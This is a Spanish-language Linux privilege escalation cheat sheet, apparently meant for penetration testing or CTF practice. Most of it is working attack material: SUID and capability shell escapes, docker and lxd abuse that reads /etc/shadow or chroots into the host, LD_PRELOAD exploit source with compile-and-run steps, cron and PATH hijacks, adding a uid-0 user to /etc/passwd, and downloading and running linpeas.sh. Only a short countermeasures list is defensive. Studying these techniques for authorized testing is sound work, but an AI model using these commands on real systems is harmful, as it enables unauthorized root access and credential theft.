Linux Privilege Escalation - Guía Completa

1. Introducción

La escalada de privilegios en Linux es el proceso de obtener acceso de nivel superior (típicamente root) desde un usuario con privilegios limitados. Esta guía cubre todas las técnicas, herramientas y metodologías.


2. Fases de Enumeración

2.1. Enumeración Inicial

# Información del sistema
uname -a
cat /etc/issue
cat /etc/os-release

# Usuario actual y privilegios
id
whoami
sudo -l

# Grupos del usuario
groups
id usuario

# Procesos activos
ps aux
ps -ef

2.2. Enumeración del Sistema

# Montaje de archivos
mount
df -h

# Variables de entorno
env
printenv

# Servicios activos
systemctl list-units --type=service
service --status-all

# Puertos escuchando
netstat -tulpn
ss -tulpn

3. SUID/SGID

Los binarios con permisos SUID/SGID son uno de los vectores más comunes.

3.1. Enumeración

# Buscar archivos SUID
find / -perm -4000 2>/dev/null

# Buscar archivos SGID
find / -perm -2000 2>/dev/null

# Buscar ambos
find / -perm /6000 2>/dev/null

# SUID owned por root
find / -perm -4000 -user root 2>/dev/null

# SUID escribible (peligroso)
find / -perm -4000 -type f -writable 2>/dev/null

# Output detallado
find / -perm /6000 -ls 2>/dev/null

3.2. Binarios Comunes Explotables

Binario Comando de Explotación
find find . -exec /bin/sh \; -exec
nmap nmap --interactive luego !sh
vim vim -c '!sh'
less less /etc/passwd !/bin/sh
more more /etc/passwd !/bin/sh
awk awk 'BEGIN {system("/bin/sh")}'
sed sed -n '1e /bin/sh'
python python -c "import os;os.setuid(0);os.system('/bin/sh')"
perl perl -e 'exec "/bin/sh"'
ruby ruby -e "exec '/bin/sh'"
php php -r "system('/bin/sh')"

Consulta GTFOBins para la lista completa.


4. Capabilities

Linux Capabilities dividen los privilegios de root en unidades granulares.

4.1. Enumeración

# Listar capabilities del sistema
getcap -r / 2>/dev/null

# Capabilities de un archivo específico
getcap /usr/bin/python3

# Capabilities de procesos
pscap -a
capsh --print

4.2. Capabilities de Alto Valor

Capability Descripción Explotación
CAP_SETUID Cambiar UID python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
CAP_SYS_ADMIN Admin del sistema Montar FS, cargar módulos kernel
CAP_DAC_READ_SEARCH Bypass lectura Leer cualquier archivo
CAP_DAC_OVERRIDE Bypass escritura Escribir cualquier archivo
CAP_NET_RAW Raw sockets Sniffing, spoofing

4.3. Explotación por Binario

# Python con CAP_SETUID
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

# Perl
perl -e "use POSIX qw(setuid); setuid(0); exec '/bin/bash'"

# PHP
php -r "posix_setuid(0); system('/bin/bash');"

5. Grupos Privilegiados

5.1. Grupos de Alto Valor

Grupo Permiso Cómo explotar
sudo Ejecutar como root sudo su
wheel Similar a sudo sudo su
disk Acceso a /dev/sdX debugfs -R "cat /root/root.txt" /dev/sda1
adm Leer /var/log grep -r "password" /var/log/
video Acceso a /dev/fb0 cat /dev/fb0 > screen.raw
audio Acceso a /dev/audio Sniffing de audio
docker Acceso al daemon docker run -v /:/host busybox cat /host/etc/shadow
lxd Gestión de contenedores lxc config device add container1 root disk path=/mnt/root source=/

5.2. Grupo disk

# Leer archivo del sistema
debugfs -R "cat /root/root.txt" /dev/sda1

# Buscar texto en disco
strings /dev/sda1 | grep -iE "user\.txt|password"

5.3. Grupo adm

# Buscar credenciales en logs
grep -rE "password|token|api_key|secret" /var/log/
tail -f /var/log/auth.log

5.4. Grupo video

# Capturar framebuffer
cat /dev/fb0 > screen.raw
magick -size 1920x1080 -depth 8 rgb:screen.raw captura.png

6. LD_PRELOAD

6.1. Requisito

El sudoers debe permitir pasar variables de entorno:

Defaults env_keep += "LD_PRELOAD"

Verificar con sudo -l.

6.2. El exploit

exploit.c:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

Compilación y ejecución:

gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles
sudo LD_PRELOAD=./exploit.so /usr/bin/find

7. Servicios Vulnerables

# Listar servicios
systemctl list-units --type=service --state=running

# Scripts de inicio escribibles
find /etc/init.d/ -writable
ls -la /etc/systemd/system/

# Buscar configs escribibles
find /etc/ -name "*.conf" -writable

8. Variables de Entorno y PATH

# Explotación via PATH
export PATH=.:$PATH
echo '/bin/sh' > ls
chmod +x ls
./ls

9. Cron Jobs

# Enumeración
ls -la /etc/cron.d/
crontab -l

# Explotación (si script es escribible)
echo 'chmod +s /bin/bash' > /path/to/script

10. sudo (Errores de Configuración)

sudo -l
# Buscar binarios GTFObins ejecutables con sudo
sudo nmap --interactive  # luego !sh
sudo find . -exec /bin/sh \;
sudo vim -c '!sh'

11. /etc/passwd Escritible

# Agregar usuario root
echo 'root2:$1$hash$:0:0:root:/root:/bin/bash' >> /etc/passwd

12. Kernel Exploits

# Identificar kernel
uname -a

# Buscar exploits
searchsploit linux kernel <version>

# Linux Exploit Suggester
curl -L https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux_exploit_suggester.pl -o les.pl
perl les.pl

13. Docker / LXD

# Escalada via Docker (si estamos en grupo docker)
docker run -v /:/host busybox cat /host/etc/shadow

# Escalada via LXD
lxc config device add container1 root disk path=/mnt/root source=/ path=/
lxc start container1
lxc exec container1 -- chroot /mnt/root /bin/bash

14. Scripts de Enumeración Automática

14.1. LinPEAS

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh

14.2. Script Manual

#!/bin/bash
echo "=== Linux Privilege Escalation Enumeration ==="
echo "[*] Sistema"; uname -a; cat /etc/os-release
echo "[*] Usuario actual"; id; whoami
echo "[*] SUID files"; find / -perm 4000 2>/dev/null
echo "[*] Capabilities"; getcap -r / 2>/dev/null
echo "[*] sudo -l"; sudo -l 2>/dev/null
echo "[*] Cron jobs"; ls -la /etc/cron*; crontab -l
echo "[*] Procesos"; ps aux | grep -v root
echo "[*] Conexiones"; netstat -tulpn 2>/dev/null

15. Checklist

  1. id / whoami / sudo -l — información básica
  2. find / -perm 4000 — SUID
  3. getcap -r / — Capabilities
  4. groups — Grupos privilegiados
  5. systemctl list-units — Servicios
  6. crontab -l — Cron jobs
  7. uname -a — Kernel exploits
  8. docker ps / lxc list — Contenedores
  9. Ejecutar linpeas.sh

16. Contramedidas

  • Mantener sistema actualizado
  • Minimizar binarios SUID
  • Usar capabilities en lugar de SUID
  • Restringir sudo
  • Monitorear scripts de inicio

Referencias